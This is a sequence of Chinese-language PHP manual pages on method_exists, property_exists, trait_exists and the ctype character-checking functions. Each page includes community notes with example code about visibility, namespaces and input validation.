method_exists

(PHP 4, PHP 5, PHP 7, PHP 8)

method_exists — 检查类的方法是否存在

说明

method_exists(object|string $object_or_class, string $method): bool

检查类的方法是否存在于指定的 object_or_class 中。

参数

object_or_class

对象示例或者类名

method

方法名

返回值

如果 method 所指的方法在 object_or_class 所指的对象类中已定义，则返回 true，否则返回 false。

示例

Example #1 method_exists() 示例

<?php
$directory = new Directory('.');
var_dump(method_exists($directory,'read'));
?>

以上示例会输出：

bool(true)

Example #2 静态 method_exists() 示例

<?php
var_dump(method_exists('Directory','read'));
?>

以上示例会输出：

bool(true)

注释

Note:

如果此类不是已知类，使用此函数会使用任何已注册的 autoloader。

参见

  • function_exists() - 如果给定的函数已经被定义就返回 true
  • is_callable() - 验证值是否可以在当前范围内作为函数调用。
  • class_exists() - 查类是否已经定义

User Contributed Notes

@prhldchauhan 16-Dec-2021 04:16
if u want to use  "method_exit" function in diffrent file after including this class , then u can't use it directly by "method_exit"

so for this u have to use call_user_func_array to a base function which is available in class already.

then call function in the following way=>

function check($fun) {

        if(method_exists($this, $fun))
            {return true;}
        else
            {return false;}

    }
El 02-Dec-2019 08:39
Undocumented change since 7.4.0 is released:

<?php
class Foo
{
    private function privateMethodTest()
    {

    }
}

class Bar extends Foo
{

}

var_dump(method_exists(Bar::class, 'privateMethodTest'));
// PHP 7.4: bool(false)
// PHP 7.3: bool(true)

var_dump(is_callable(Bar::class, 'privateMethodTest'));
// PHP 7.3: bool(true)
// PHP 7.4: bool(true)
jave [at] issomewhereontheweb [com] 01-Jun-2016 05:15
The function does not care about class existance, so you can use it to check an existance of a method even when class was not declared e.g.
<?php
if( method_exists('THIS_WAS_NOT_DECLARED', 'some_method') )
   echo "it does exist!";
else
   echo "nope, it is not there...";
?>
...raises no errors/warnings... outputs "nope, it is not there..." if class does not exist at all or if it does but the method doesn't.
w3dk 04-Apr-2015 10:38
A couple of the older comments (specifically "jp at function dot fi" and "spam at majiclab dot com") state that is_callable() does not respect a methods visibility when checked outside of that class. ie. That private/protected methods are seen as callable when tested publicly. However, this was a bug (#29210) in early versions of PHP 5 and was fixed (according to the changelog) in PHP 5.0.5 (and/or PHP 5.1.0).

Bug #29210 - Function: is_callable - no support for private and protected classes
http://bugs.php.net/29210

Changelog - Fixed bug #29210 (Function: is_callable - no support for private and protected classes). (Dmitry)
http://php.net/ChangeLog-5.php#5.1.0
charleston olaes at gmail no spaces 10-Oct-2014 04:31
I was wondering if caching the the methods in an array would have a faster lookup. So I ran a very simple benchmark using xdebug_time_index() with 10000 iterations on each statement.

using PHP 5.3.13 btw

<?php
// using an actual instance of an object shows 0.10398316383362 secs
method_exist($object, $method);
?>

<?php
// using a string shows 0.12779307365417 secs
method_exist('ClassName', $method);
?>

<?php
$array = array(/*method names with numeric index*/);
// shows 0.10288906097412 secs
in_array($method, $array);
?>

<?php
$assoc = array( /*method name as key and value*/ );
// shows 0.017536878585815 secs
isset( $assoc[$method] );
?>

From the looks of the results, there is very little difference in method_exist and in_array. Isset seems to the fastest and using a string as the first parameter is the slowest.

Please note that the test was done on multiple methods, not just one, the code presented above is to show the results, not the actual test code that ran. Also, this was tested just out of curiosity and I didn't set up a specific environment or used any profiling tools, and it was not meant to be an official benchmark in anyway.
konzertheld at thedomainistheusersname dot de 15-Feb-2013 05:32
Note that prepending the namespace (if any) is required even if the calling class is in the same namespace:

<?php
namespace test;
class foo {
 public function lookup() {
  // will return false
  return method_exists('bar', 'nonsense_method');
 }
}

class bar {
 public function nonsense_method() {
  // will return true
  return method_exists('test\foo', 'lookup');
 }
}
?>
Niels 11-May-2011 12:45
Just to mention it: both method_exists() and is_callable() return true for inherited methods:

<?php
class ParentClass {

   function doParent() { }
}

class ChildClass extends ParentClass { }

$p = new ParentClass();
$c = new ChildClass();

// all return true
var_dump(method_exists($p, 'doParent'));
var_dump(method_exists($c, 'doParent'));

var_dump(is_callable(array($p, 'doParent')));
var_dump(is_callable(array($c, 'doParent')));
?>
mail at bartrail dot de 25-Apr-2011 10:06
Using method_exists inside an object's __call() method can be very usefull if you want to avoid to get a fatal error because of a limit in function nesting or if you are calling methods that dont exist but need to continue in your application:

<?php
class Something
{

    /**
     * Call a method dynamically
     *
     * @param string $method
     * @param array $args
     * @return mixed
     */
    public function __call($method, $args)
    {
        if(method_exists($this, $method)) {
          return call_user_func_array(array($this, $method), $args);
        }else{
          throw new Exception(sprintf('The required method "%s" does not exist for %s', $method, get_class($this)));
        }
    }

}
?>
phoenix at todofixthis dot com 21-Dec-2010 09:13
As noted [elsewhere] method_exists() does not care about the existence of __call(), whereas is_callable() does:

<?php
class Test {
  public function explicit(  ) {
      // ...
  }

  public function __call( $meth, $args ) {
      // ...
  }
}

$Tester = new Test();

var_export(method_exists($Tester, 'anything')); // false
var_export(is_callable(array($Tester, 'anything'))); // true
?>
uramihsayibok, gmail, com 06-Aug-2010 10:09
It wasn't spelled out but could be inferred: method_exists() also works on interfaces.

<?php

var_dump(method_exists("Iterator", "current"));
// bool(true)

?>
Anonymous 08-May-2010 05:20
If you want to check in a class itself if a method is known you may do so with magic variable __CLASS__

<?php

class A{
  __construct($method){
      return method_exists(__CLASS__,$method);
  }

  private function foo(){

  }
}

$test = new A('foo');
//should return true

?>

You might also use the method describe below with <?php in_array() ?> trick but I consider this one here easier and more readable and well, the way it is intended toi be done ;)
admin ( at ) djokodonev dot com 16-Oct-2009 04:30
Hi,

Here is a useful function that  you can use to check classes methods access e.g whether it is public, private or static or both..

here it goes:

<?php
// Example class
class myClass {

    private $private1;

    static $static1;

    public $public1;

    public function publ() {

    }

    private function priv() {

    }

    private static function privstatic() {

    }

    public static function publstatic() {

    }

    static function mytest() {

    }
}

// The function uses the reflection class that is built into PHP!!!
// The purpose is to determine the type of a certain method that exi
function is_class_method($type="public", $method, $class) {
   // $type = mb_strtolower($type);
    $refl = new ReflectionMethod($class, $method);
    switch($type) {
        case "static":
        return $refl->isStatic();
        break;
        case "public":
        return $refl->isPublic();
        break;
        case "private":
        return $refl->isPrivate();
        break;
    }
}
var_dump(is_class_method("static", "privstatic", "myClass")); // true - the method is  private and also static..
var_dump(is_class_method("private", "privstatic", "myClass")); // true - the method is  private and also static..
var_dump(is_class_method("private", "publstatic", "myClass")); // False the methos is public and also static not private
 // you get the idea.. I hope this helps someone..
?>
florin from syneto net 07-Oct-2009 07:34
This function is case-insensitive (as is PHP) and here is the proof:
<?php
class A {
    public function FUNC() { echo '*****'; }
}

$a = new A();
$a->func(); // *****
var_dump(method_exists($a, 'func')); // bool(true)
?>
jp at function dot fi 30-Apr-2006 02:29
As mentioned before, is_callable and method_exists report all methods callable even if they are private/protected and thus actually not callable. So instead of those functions you may use following work-around which reports methods as supposed to.

<?php
class Foo1 {
  public function bar() {
    echo "I'm private Foo1::bar()";
  }
}

class Foo2 {
  private function bar() {
    echo "I'm public Foo2::bar()";
  }
}

$f1=new Foo1;
$f2=new Foo2;

if(is_callable(array($f1,"bar"))) {
    echo "Foo1::bar() is callable";
} else {
    echo "Foo1::bar() isn't callable";
}
if(is_callable(array($f2,"bar"))) {
    echo "Foo2::bar() is callable";
} else {
    echo "Foo2::bar() isn't callable";
}
if(in_array("bar",get_class_methods($f1))) {
    echo "Foo1::bar() is callable";
} else {
    echo "Foo1::bar() isn't callable";
}
if(in_array("bar",get_class_methods($f2))) {
    echo "Foo2::bar() is callable";
} else {
    echo "Foo2::bar() isn't callable";
}

?>

output
Foo1::bar() is callable (correct)
Foo2::bar() is callable (incorrect)
Foo1::bar() is callable (correct)
Foo2::bar() isn't callable (correct)

?>
seufert at gmail dot com 26-Apr-2006 06:27
Just a note that the behaviour of this function changed between version 5.0.x and 5.1.x when using static member functions

Using this code:
<?php
class a {
    static function test() {return "A";}
}
if(method_exists('a','test'))
    print call_user_func(array('a','test'));
else
    print "Nothing";
?>
PHP 5.1.x returns "A"
PHP 5.0.x returns "Nothing"

Im not sure of a workaround for PHP 5.0.x yet.
spam at majiclab dot com 31-Jan-2006 08:33
Both method_exists() and is_callable() return private and protected functions, which, as mentioned below, causes problems for PHP5/OO programming.  You can use get_class_methods() with either an $instance of a class or the 'ClassName' to get only public functions.
daniel at softel dot jp 09-Jan-2006 07:34
Note that in PHP5, method_exists() will sucessfully find *private* methods. This has some OO/data-hiding ramifications.
jpgiot at nospam ifrance.com 06-May-2004 07:42
a little difference :

to find a method of an object (instance of a class)

<?php
if (method_exists($myinstance,'themethod'))
    echo 'ok';
?>

to find a method of a class (using the class name, not the instance of the class!)

<?php
if (is_callable(array('theclassname','themethod')))
    echo 'ok';
?>
Thomas@ThBeckmann 31-Jan-2003 01:47
Though, as Bejamin noted, it's not possible to use the class name in method_exists within the class definition, get_class_methods delivers the method names for a given class name even inside the class. Thus another workaround for the mentioned problem is to use in_array(<method_name>, get_class_methods(<class_name>))
benjamin_ansbach at web dot de 27-Dec-2002 12:49
if you want to check for a method "inside" of a class use:

method_exists($this, 'function_name')

i was a bit confused 'cause i thought i'm only able to check for a method when i got an object like $object_name = new class_name() with:

method_exists($object_name, 'method_name')

small example for those who didn't understood what i mean ( maybe caused by bad english :) ):

<?php

class a {

    function a() {

        if(method_exists($this, 'test'))
            echo 'a::test() exists!';
        else
            echo 'a::test() doesn\'t exists';

    }

    function test() {

        return true;

    }

}

$b = new a();

?>

the output will be: a::test() exists!

maybe this will help someone
j dot metzger at steptown dot com 16-Jan-2002 03:42
call_user_method uses the same mechanism as a normal method call. So you can get the returned values as well in this way.

$pagetext=call_user_method($method,$object_call);

All information is then in $pagetext.


检查对象或类是否具有该属性

  • ? method_exists
  • trait_exists ?
  • PHP Manual
  • 类/对象 函数
  • 检查对象或类是否具有该属性

property_exists

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

property_exists — 检查对象或类是否具有该属性

说明

property_exists(object|string $object_or_class, string $property): bool

本函数检查给出的 property 是否存在于指定的类中。

Note:

跟 isset() 的区别是即使属性的值为 null，property_exists() 也会返回 true。

参数

object_or_class

需要检查的类名或者类的对象

property

属性的名称

返回值

如果属性存在则返回 true，不存在则返回 false。如果发生错误则返回 null。

示例

Example #1 property_exists() 示例

<?php

class myClass {
public $mine;
private $xpto;
static protected $test;

static function test() {
var_dump(property_exists('myClass', 'xpto')); //true
}
}

var_dump(property_exists('myClass', 'mine')); //true
var_dump(property_exists(new myClass, 'mine')); //true
var_dump(property_exists('myClass', 'xpto')); //true
var_dump(property_exists('myClass', 'bar')); //false
var_dump(property_exists('myClass', 'test')); //true
myClass::test();

?>

注释

Note:

如果此类不是已知类，使用此函数会使用任何已注册的 autoloader。

Note:

property_exists() 函数不能检查通过 __get 魔术方法访问的属性。

参见

  • method_exists() - 检查类的方法是否存在

User Contributed Notes

biziclop 05-Nov-2023 05:05
I needed a method for finding out if accessing a property outside a class is possible without errors/warnings, considering that the class might use the magic methods __isset/__get to simulate nonexistent properties.

<?php
// returns true if property is safely accessible publicly by using $obj->$prop
// Tested with PHP 5.1 - 8.2, see https://3v4l.org/QBTd1
function public_property_exists( $obj, $prop ){
  // allow magic $obj->__isset( $prop ) to execute if exists
  if( isset( $obj->$prop ))  return true;

  // no public/protected/private property exists with this name
  if( ! property_exists( $obj, $prop ))  return false;

  // the property exists, but is it public?
  $rp = new ReflectionProperty( $obj, $prop );
  return $rp->isPublic();
}

//// Test/demo
class C {
  public    $public    = "I'm public!";
  protected $protected = "I'm public!";
  private   $private   = "I'm public!";
  function __isset( $k ){
    return substr( $k, 0, 5 ) === 'magic';
  }
  function __get( $k ){
    if( $k === 'magic_isset_but_null')  return null;
    return "I'm {$k}!";
  }
}

$o = new C();
foreach( array(
  'public', 'protected', 'private',
  'magic', 'magic_isset_but_null',
  'missing'
) as $prop ){
  if( public_property_exists( $o, $prop ))
        echo "\$o->{$prop} is a public property, its value is: ",
             var_export( $o->$prop, true ), "\n";
  else  echo "\$o->{$prop} is not a public property.\n";
}
/*
$o->public    is a public property, its value is: 'I'm public!'
$o->protected is not a public property.
$o->private   is not a public property.
$o->magic     is a public property, its value is: 'I'm magic!'
$o->magic_isset_but_null is a public property, its value is: NULL
$o->missing   is not a public property.
*/
anonymous 26-Oct-2023 01:28
Be wary if you're checking for nested properties. This function returns true for null values. If you're not checking for null, you will throw a fatal error if you then try to pass a property that exists, but equals null into the first argument.
rnealxp at yahoo dot com 11-May-2020 06:56
For class constants, use defined() to check for their existence since property_exists() cannot be used.
<?php
class A{
    private static $c = 'C';
    const B = 'B';
}
if(property_exists('A','c')===true){
    echo 'y';
}else{
    echo 'n';
} //output: y
if(property_exists('A','B')===true){
    echo 'y';
}else{
    echo 'n';
} //output: n
if(defined('A::B')===true){
    echo 'y';
}else{
    echo 'n';
} //output: y
?>
@fitorec 14-Jul-2019 02:12
<?php

abstract class P {
  private $priv;
  static protected $static_prop;
  static function exists($prop = 'priv') {
      var_dump(property_exists(new static, $prop)); //true
  }
}

class S extends P {
  static protected $new_prop;
}
S::exists('new_prop');       // True
S::exists('static_prop');    // True
S::exists('priv');           // True
David Spector 03-Sep-2018 12:37
Just to clarify, property_exists only works for static properties. There is no corresponding const_exists function in PHP to do something similar for const names.
falundir at gmail dot com 16-Feb-2017 08:42
If you want to test if declared *public* property was unset, you can use the following code:

<?php
class A {
    public $declared;
}

$a = new A();
$is_defined = array_key_exists('declared', (array)$a); //=>true

unset($a->declared);
$is_defined = array_key_exists('declared', (array)$a); //=>false
?>
Daniel dot Peder at infoset dot com 23-Nov-2016 09:24
declared properties cannot be unset
any set property does exist, even being set to null, regardless how it was set

<?php

class demo_property_exists {

    public $my_public;
    protected $my_protected;
    private $my_private;

    function __construct() {
        $this->dumper('before-constructed');
        $this->my_constructed_int = 123;
        $this->my_constructed_null = null;
        $this->dumper('after-constructed');
    }

    public function dumper($name) {
        printf("\n[%s] dump:\n", $name);

        foreach ($this->my_checklist() as $prop) {
            printf("[%s]:\t", $prop);
            var_dump(property_exists($this, $prop));
        }
    }

    public function unset_all() {
        foreach ($this->my_checklist() as $prop) {
            unset($this->$prop);
        }
    }

    private function my_checklist() {
        return array('my_public', 'my_protected', 'my_private', 'my_constructed_int', 'my_constructed_null', 'my_assigned_int', 'my_assigned_null',);
    }

}

$object = new demo_property_exists();
$object->dumper('before-assigned');
$object->my_assigned_int = 456;
$object->my_assigned_null = null;
$object->dumper('after-assigned');
$object->unset_all();
$object->dumper('after-unset');

/*
results:

[before-constructed] dump:
[my_public]:    bool(true)
[my_protected]: bool(true)
[my_private]:   bool(true)
[my_constructed_int]:   bool(false)
[my_constructed_null]:  bool(false)
[my_assigned_int]:      bool(false)
[my_assigned_null]:     bool(false)

[after-constructed] dump:
[my_public]:    bool(true)
[my_protected]: bool(true)
[my_private]:   bool(true)
[my_constructed_int]:   bool(true)
[my_constructed_null]:  bool(true)
[my_assigned_int]:      bool(false)
[my_assigned_null]:     bool(false)

[before-assigned] dump:
[my_public]:    bool(true)
[my_protected]: bool(true)
[my_private]:   bool(true)
[my_constructed_int]:   bool(true)
[my_constructed_null]:  bool(true)
[my_assigned_int]:      bool(false)
[my_assigned_null]:     bool(false)

[after-assigned] dump:
[my_public]:    bool(true)
[my_protected]: bool(true)
[my_private]:   bool(true)
[my_constructed_int]:   bool(true)
[my_constructed_null]:  bool(true)
[my_assigned_int]:      bool(true)
[my_assigned_null]:     bool(true)

[after-unset] dump:
[my_public]:    bool(true)
[my_protected]: bool(true)
[my_private]:   bool(true)
[my_constructed_int]:   bool(false)
[my_constructed_null]:  bool(false)
[my_assigned_int]:      bool(false)
[my_assigned_null]:     bool(false)

*/
saurabh dot agarwal89 at gmail dot com 27-May-2015 11:17
$a = array('a','b'=>'c');
print_r((object) $a);
var_dump( property_exists((object) $a,'0'));
var_dump( property_exists((object) $a,'b'));

OUTPUT:
stdClass Object
(
    [0] => a
    [b] => c
)
bool(false)
bool(true)
g dot gentile at parentesigraffe dot com 05-Mar-2015 09:02
The function behaves differently depending on whether the property has been present in the class declaration, or has been added dynamically, if the variable has been unset()

<?php

class TestClass {

    public $declared = null;

}

$testObject = new TestClass;

var_dump(property_exists("TestClass", "dynamic")); // boolean false, as expected
var_dump(property_exists($testObject, "dynamic")); // boolean false, same as above

$testObject->dynamic = null;
var_dump(property_exists($testObject, "dynamic")); // boolean true

unset($testObject->dynamic);
var_dump(property_exists($testObject, "dynamic")); // boolean false, again.

var_dump(property_exists($testObject, "declared")); // boolean true, as espected

unset($testObject->declared);
var_dump(property_exists($testObject, "declared")); // boolean true, even if has been unset()
ewisuri [gmail] 15-Feb-2014 04:37
As of PHP 5.3.0, calling property_exists from a parent class sees private properties in sub-classes.

<?php
class P {
    public function test_prop($prop) { return property_exists($this, $prop); }
}

class Child extends P {
    private $prop1;
}

$child = new Child();
var_dump($child->test_prop('prop1')); //true, as of PHP 5.3.0
Nanhe Kumar 17-Jan-2014 10:39
<?php

class Student {

    protected $_name;
    protected $_email;

    public function __call($name, $arguments) {
        $action = substr($name, 0, 3);
        switch ($action) {
            case 'get':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    return $this->{$property};
                }else{
                    echo "Undefined Property";
                }
                break;
            case 'set':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    $this->{$property} = $arguments[0];
                }else{
                    echo "Undefined Property";
                }

                break;
            default :
                return FALSE;
        }
    }

}

$s = new Student();
$s->setName('Nanhe Kumar');
$s->setEmail('nanhe.kumar@gmail.com');
echo $s->getName(); //Nanhe Kumar
echo $s->getEmail(); // nanhe.kumar@gmail.com
$s->setAge(10); //Undefined Property
?>
Stefan W 03-Sep-2013 01:23
If you are in a namespaced file, and you want to pass the class name as a string, you will have to include the full namespace for the class name - even from inside the same namespace:

<?
namespace MyNS;

class A {
    public $foo;
}

property_exists("A", "foo");          // false
property_exists("\\MyNS\\A", "foo");  // true
?>


检查指定的 trait 是否存在

  • ? property_exists
  • Ctype ?
  • PHP Manual
  • 类/对象 函数
  • 检查指定的 trait 是否存在

trait_exists

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

trait_exists — 检查指定的 trait 是否存在

说明

trait_exists(string $trait, bool $autoload = true): bool

参数

trait

待检查的 trait 的名称

autoload

如果尚未加载，是否使用自动加载（autoload）。

返回值

如果 trait 存在返回 true，否则返回 false。

User Contributed Notes

astinus dot eberhard at gmail dot com 10-Mar-2017 03:35
Traits are compatible with class autoload mechanism - in fact, if you look at source code of trait_exists function, you will find similar peace of code (see Zend/zend_builtin_functions.c)
valerio dot bozzolan at gmail dot com 28-Jan-2016 06:38
What is the default value of $autoload? And in which way traits are autoloaded? Is there something as spl_autoload() for traits?
Lubaev.K 19-Jun-2013 02:20
<?php
trait World {

    private static $instance;
    protected $tmp;

    public static function World()
    {
        self::$instance = new static();
        self::$instance->tmp = get_called_class().' '.__TRAIT__;

        return self::$instance;
    }

}

if ( trait_exists( 'World' ) ) {

    class Hello {
        use World;

        public function text( $str )
        {
            return $this->tmp.$str;
        }
    }

}

echo Hello::World()->text('!!!'); // Hello World!!!


字符类型检测

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Ctype 函数
    • ctype_alnum — 检测字母数字式字符
    • ctype_alpha — 检测字母字符
    • ctype_cntrl — 检测控制字符
    • ctype_digit — 检测数字字符
    • ctype_graph — 检测除空格外的任何打印字符
    • ctype_lower — 检测小写字符
    • ctype_print — 检测可打印字符
    • ctype_punct — 检测可打印的字符是不是不包含空白、数字和字母
    • ctype_space — 检测空白字符
    • ctype_upper — 检测大写字符
    • ctype_xdigit — 检测字符是否只包含十六进制字符

User Contributed Notes

There are no user contributed notes for this page.


简介

该扩展所提供的函数用来检测 在当前的区域设定下（参见 setlocale()）检查字符或者字符串 是否仅包含指定类型的字符。

当使用整数作为参数调用这些函数的时候， 这些函数的行为和 C 语言（ctype.h） 中的对应函数一样。 也就是说，如果传入了小于 256 的整数参数，它会把这个整数当做 ASCII 码值， 来检测对应字符是否符合要求（数值检测的 ASCII 值范围为 0x30-0x39）。 如果传入的参数介于 -128 和 -1 之间（含 -128 和 -1），它会先将其加上 256，然后再进行检测。

Warning

自 PHP 8.1.0 起，弃用传递非字符串参数。未来该参数将解释为字符串而不是 ASCII 码点。根据预期行为，应将参数转为字符串或显式调用 chr()。

当传入参数为字符串的时候，它会对字符串中的每个字符进行检测， 仅当字符串中的每个字符都符合指定条件的情况下才会返回 true。 当使用空字符串调用时，结果始终为 false。

传入除整数和字符串之外的参数 会立即返回 false。

需要提醒的是，如果可以满足需求，请优先考虑使用 ctype 函数， 而不是正则表达式或者对应的 "str_*" 和 "is_*" 函数。 因为 ctype 使用的是原生 C 库，所以会有明显的性能优势。

Note:

这些函数和 Python 中的 "ctypes" 库没有任何关系。 ctype 的名字源自对应的 C 语言中的头文件 ctype.h。

实际上，这个扩展是先于 Python 的 "ctypes"，所以该命名引起的任何困扰都不是 PHP 的错。

User Contributed Notes

There are no user contributed notes for this page.


需求

无额外需求，因为标准 C 库中的函数总是可用的。

User Contributed Notes

There are no user contributed notes for this page.


安装

此扩展默认为启用，编译时可通过下列选项禁用： --disable-ctype

PHP 的 Windows 版本已内建对此扩展的支持。不需要载入额外的扩展来使用这些函数。

User Contributed Notes

There are no user contributed notes for this page.


Ctype 函数

Table of Contents

  • ctype_alnum — 检测字母数字式字符
  • ctype_alpha — 检测字母字符
  • ctype_cntrl — 检测控制字符
  • ctype_digit — 检测数字字符
  • ctype_graph — 检测除空格外的任何打印字符
  • ctype_lower — 检测小写字符
  • ctype_print — 检测可打印字符
  • ctype_punct — 检测可打印的字符是不是不包含空白、数字和字母
  • ctype_space — 检测空白字符
  • ctype_upper — 检测大写字符
  • ctype_xdigit — 检测字符是否只包含十六进制字符

User Contributed Notes

There are no user contributed notes for this page.


检测字母数字式字符

  • ? Ctype 函数
  • ctype_alpha ?
  • PHP Manual
  • Ctype 函数
  • 检测字母数字式字符

ctype_alnum

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_alnum — 检测字母数字式字符

说明

ctype_alnum(mixed $text): bool

检测提供的 string 类型的 text 是否全部为字母数字。

参数

text

要测试的字符串。

Note:

如果给出一个 -128 到 255 之间(含)的int, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

Warning

自 PHP 8.1.0 起，弃用传递非字符串参数。未来该参数将解释为字符串而不是 ASCII 码点。根据预期行为，应将参数转为字符串或显式调用 chr()。

返回值

如果 text 中所有的字符不是字母就是数字，则返回 true，否则返回 false。当使用空字符串调用时，结果始终为 false。

示例

Example #1 ctype_alnum() 示例 (使用默认的区域设置)

<?php
$strings = array('AbCd1zyZ9', 'foo!#$bar');
foreach ($strings as $testcase) {
if (ctype_alnum($testcase)) {
echo "The string $testcase consists of all letters or digits.\n";
} else {
echo "The string $testcase does not consist of all letters or digits.\n";
}
}
?>

以上示例会输出：

The string AbCd1zyZ9 consists of all letters or digits.
The string foo!#$bar does not consist of all letters or digits.

参见

  • ctype_alpha() - 检测字母字符
  • ctype_digit() - 检测数字字符
  • setlocale() - 设置区域信息
  • IntlChar::isalnum() - Check if code point is an alphanumeric character

User Contributed Notes

marcelocamargo at linuxmail dot org 04-Jan-2016 04:42
It is also important to note that the behavior of `ctype_alnum` differs according to the operating system. For UNIX-based operating system, if you pass a value that is not a string (or an overloaded object), independently of the value, it will always result in false. However, if we do the same on Windows, using, for example, -1 as literal (a minus and a number greater than 0), we'll have true as result.

<?php var_dump(ctype_alnum(-1));
// UNIX: bool(false)
// Windows: bool(true)
Anonymous 28-Jan-2013 05:12
Quicktip: If ctype is not enabled by default on your server, replace ctype_alnum($var) with preg_match('/^[a-zA-Z0-9]+$/', $var).
Rory 07-Dec-2009 04:42
Just for the record, Gentoo doesn't include this function by default. You'll have to recompile PHP with the "ctype" USE flag.
thinice at gmail dot com 22-Jul-2009 02:46
ctype_alnum() is a godsend for quick and easy username/data filtering when used in conjunction with str_replace().

Let's say your usernames have dash(-) and underscore(_) allowable and alphanumeric digits as well.

Instead of a regex you can trade a bit of performance for simplicity:

<?php
$sUser = 'my_username01';
$aValid = array('-', '_');

if(!ctype_alnum(str_replace($aValid, '', $sUser))) {
    echo 'Your username is not properly formatted.';
}
?>


检测字母字符

  • ? ctype_alnum
  • ctype_cntrl ?
  • PHP Manual
  • Ctype 函数
  • 检测字母字符

ctype_alpha

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_alpha — 检测字母字符

说明

ctype_alpha(mixed $text): bool

检测提供的 string 类型的 text 里面的所有字符是否都是字母。在标准的 C 语言区域设置中，字母仅仅是指 [A-Za-z]，并且如果 $text 是单个字符，则 ctype_alpha() 等同于 (ctype_upper($text) || ctype_lower($text))，但是在其他语言中有些字母既不视为大写也不视为小写。

参数

text

要测试的字符串。

Note:

如果给出一个 -128 到 255 之间(含)的int, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

Warning

自 PHP 8.1.0 起，弃用传递非字符串参数。未来该参数将解释为字符串而不是 ASCII 码点。根据预期行为，应将参数转为字符串或显式调用 chr()。

返回值

如果在当前区域设置中 text 里的每个字符都是字母，那么就返回 true，否则返回 false。当使用空字符串调用时，结果始终为 false。

示例

Example #1 ctype_alpha() 例子（使用默认的语言环境）

<?php
$strings = array('KjgWZC', 'arf12');
foreach ($strings as $testcase) {
if (ctype_alpha($testcase)) {
echo "The string $testcase consists of all letters.\n";
} else {
echo "The string $testcase does not consist of all letters.\n";
}
}
?>

以上示例会输出：

The string KjgWZC consists of all letters.
The string arf12 does not consist of all letters.

参见

  • ctype_upper() - 检测大写字符
  • ctype_lower() - 检测小写字符
  • setlocale() - 设置区域信息
  • IntlChar::isalpha() - Check if code point is a letter character

User Contributed Notes

Tyrunur 27-May-2009 02:12
It works if you set the locale correctly:

<?php

setLocale(LC_CTYPE, 'FR_fr.UTF-8');

?>

with this change you will get "yes" "yes"


检测控制字符

  • ? ctype_alpha
  • ctype_digit ?
  • PHP Manual
  • Ctype 函数
  • 检测控制字符

ctype_cntrl

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_cntrl — 检测控制字符

说明

ctype_cntrl(mixed $text): bool

检查提供的 string 类型的 text 里面的字符是否都是控制字符。控制字符有：换行、缩进、转义。

参数

text

要测试的字符串。

Note:

如果给出一个 -128 到 255 之间(含)的int, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

Warning

自 PHP 8.1.0 起，弃用传递非字符串参数。未来该参数将解释为字符串而不是 ASCII 码点。根据预期行为，应将参数转为字符串或显式调用 chr()。

返回值

如果在当前区域设置中 text 里的每个字符都是控制字符，那么就返回 true；否则返回 false。当使用空字符串调用时，结果始终为 false。

示例

Example #1 ctype_cntrl() 示例

<?php
$strings = array('string1' => "\n\r\t", 'string2' => 'arf12');
foreach ($strings as $name => $testcase) {
if (ctype_cntrl($testcase)) {
echo "The string '$name' consists of all control characters.\n";
} else {
echo "The string '$name' does not consist of all control characters.\n";
}
}
?>

以上示例会输出：

The string 'string1' consists of all control characters.
The string 'string2' does not consist of all control characters.

参见

  • ctype_print() - 检测可打印字符
  • IntlChar::iscntrl() - Check if code point is a control character

User Contributed Notes

Tor 09-Mar-2013 10:02
Returns true if bytes are in the range of \x00-\x1f or \x7f (del). Returns false if bytes are in the range of \x20-\x7e or \x80-\xff.


检测数字字符

  • ? ctype_cntrl
  • ctype_graph ?
  • PHP Manual
  • Ctype 函数
  • 检测数字字符

ctype_digit

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_digit — 检测数字字符

说明

ctype_digit(mixed $text): bool

检测提供的 string 类型的 text 里面的所有字符是否都是数字。

参数

text

要测试的字符串。

Note:

如果给出一个 -128 到 255 之间(含)的int, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

Warning

自 PHP 8.1.0 起，弃用传递非字符串参数。未来该参数将解释为字符串而不是 ASCII 码点。根据预期行为，应将参数转为字符串或显式调用 chr()。

返回值

如果 text 中每个字符都是十进制数字，那么就返回 true，否则返回 false。当使用空字符串调用时，结果始终为 false。

示例

Example #1 ctype_digit() 示例

<?php
$strings = array('1820.20', '10002', 'wsl!12');
foreach ($strings as $testcase) {
if (ctype_digit($testcase)) {
echo "The string $testcase consists of all digits.\n";
} else {
echo "The string $testcase does not consist of all digits.\n";
}
}
?>

以上示例会输出：

The string 1820.20 does not consist of all digits.
The string 10002 consists of all digits.
The string wsl!12 does not consist of all digits.

Example #2 ctype_digit() 示例，比对字符和整数

<?php

$numeric_string = '42';
$integer = 42;

ctype_digit($numeric_string); // true
ctype_digit($integer); // false（ASCII 42 是 * 字符）

is_numeric($numeric_string); // true
is_numeric($integer); // true
?>

参见

  • ctype_alnum() - 检测字母数字式字符
  • ctype_xdigit() - 检测字符是否只包含十六进制字符
  • is_numeric() - 检测变量是否为数字或数字字符串
  • is_int() - 检测变量是否是整数
  • is_string() - 查找变量的类型是否是字符串
  • IntlChar::isdigit() - Check if code point is a digit character

User Contributed Notes

divinity76 at gmail dot com 13-Feb-2021 08:54
an alternative if you want to check if it's a valid integer:

<?php
if(false!==filter_var($v, FILTER_VALIDATE_INT)){
    // it's a valid int!
    $v=(int)$v;
}else{
    // it's not a valid int
}
?>

or if you want to check that it's a positive integer (>= 0):
<?php
if(false!==filter_var($v, FILTER_VALIDATE_INT, ["options"=>["min_range"=>0]])){
    // it's a valid positive integer!
    $v = (int)$v;
}else{
    // it's not a valid positive integer
}

?>
